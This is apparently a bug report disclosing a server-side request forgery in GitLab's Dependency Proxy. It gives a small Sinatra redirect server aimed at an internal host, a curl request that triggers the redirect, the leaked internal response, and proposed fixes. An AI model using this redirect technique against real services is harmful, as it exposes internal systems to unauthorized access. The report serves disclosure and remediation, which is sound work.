SSRF via Dependency Proxy
Summary
Using a custom Maven URL for the Dependency Proxy it is possible to achieve full-read GET based Same Site Request Forgery by HTTP redirects.
Steps to reproduce
- Go to https://gitlab.com/$PROJECTPATH/-/settings/packages_and_registries and set a HTTP URL you control
- The HTTP Server under that URL should respond with a redirect to an internal URL e.g.:
require 'sinatra'
get "/*" do
redirect "https://zoekt.gprd.gke.gitlab.net"
end- Send a request to the dependency proxy for that project
curl 'https://gitlab.com/api/v4/projects/$PROJECTID/dependency_proxy/packages/maven/foo/1/a3' -H Private-Token:\ $GITLAB_API_PRIVATE_TOKEN - Observe the response:
<html>
<head>
[... shortened ...]
<p class="navbar-text navbar-right">
Used 2518M mem for
34759405 documents (254G)
from 124995 repositories.
</p>
</div>
</nav>
</body>
</html>What is the current bug behavior?
SSRF to internal resources is possible
What is the expected correct behavior?
Workhorse should not follow redirects to internal resources when downloading dependencies on behalf of the dependency proxy.
Output of checks
This bug happens on GitLab.com
Possible fixes
The typical SSRF checks should be implemented here and for our Go code in general, just like in our Ruby code for HTTP requests. The Workhorse send-url feature is likely affected by this as well but I didn't find any way to supply user controlled HTTP hosts to it.